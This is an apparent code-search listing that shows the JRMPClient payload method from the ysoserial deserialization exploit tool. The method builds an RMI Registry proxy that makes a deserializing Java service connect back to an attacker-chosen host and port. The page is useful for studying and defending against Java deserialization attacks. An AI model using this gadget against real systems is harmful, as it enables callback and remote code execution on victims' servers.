Search in sources :

Example 6 with RemoteObjectInvocationHandler

use of java.rmi.server.RemoteObjectInvocationHandler in project ysoserial by frohoff.

the class JRMPClient method getObject.

public Registry getObject(final String command) throws Exception {
    String host;
    int port;
    int sep = command.indexOf(':');
    if (sep < 0) {
        port = new Random().nextInt(65535);
        host = command;
    } else {
        host = command.substring(0, sep);
        port = Integer.valueOf(command.substring(sep + 1));
    }
    // RMI registry
    ObjID id = new ObjID(new Random().nextInt());
    TCPEndpoint te = new TCPEndpoint(host, port);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
    Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, obj);
    return proxy;
}
Also used : TCPEndpoint(sun.rmi.transport.tcp.TCPEndpoint) LiveRef(sun.rmi.transport.LiveRef) Random(java.util.Random) ObjID(java.rmi.server.ObjID) RemoteObjectInvocationHandler(java.rmi.server.RemoteObjectInvocationHandler) UnicastRef(sun.rmi.server.UnicastRef) Registry(java.rmi.registry.Registry) TCPEndpoint(sun.rmi.transport.tcp.TCPEndpoint)

Aggregations

RemoteObjectInvocationHandler (java.rmi.server.RemoteObjectInvocationHandler)6 InvalidObjectException (java.io.InvalidObjectException)2 InvocationHandler (java.lang.reflect.InvocationHandler)2 RemoteRef (java.rmi.server.RemoteRef)2 RemoteStub (java.rmi.server.RemoteStub)2 Remote (java.rmi.Remote)1 StubNotFoundException (java.rmi.StubNotFoundException)1 Registry (java.rmi.registry.Registry)1 ObjID (java.rmi.server.ObjID)1 RemoteObject (java.rmi.server.RemoteObject)1 UnicastRemoteObject (java.rmi.server.UnicastRemoteObject)1 Random (java.util.Random)1 UnicastRef (sun.rmi.server.UnicastRef)1 LiveRef (sun.rmi.transport.LiveRef)1 TCPEndpoint (sun.rmi.transport.tcp.TCPEndpoint)1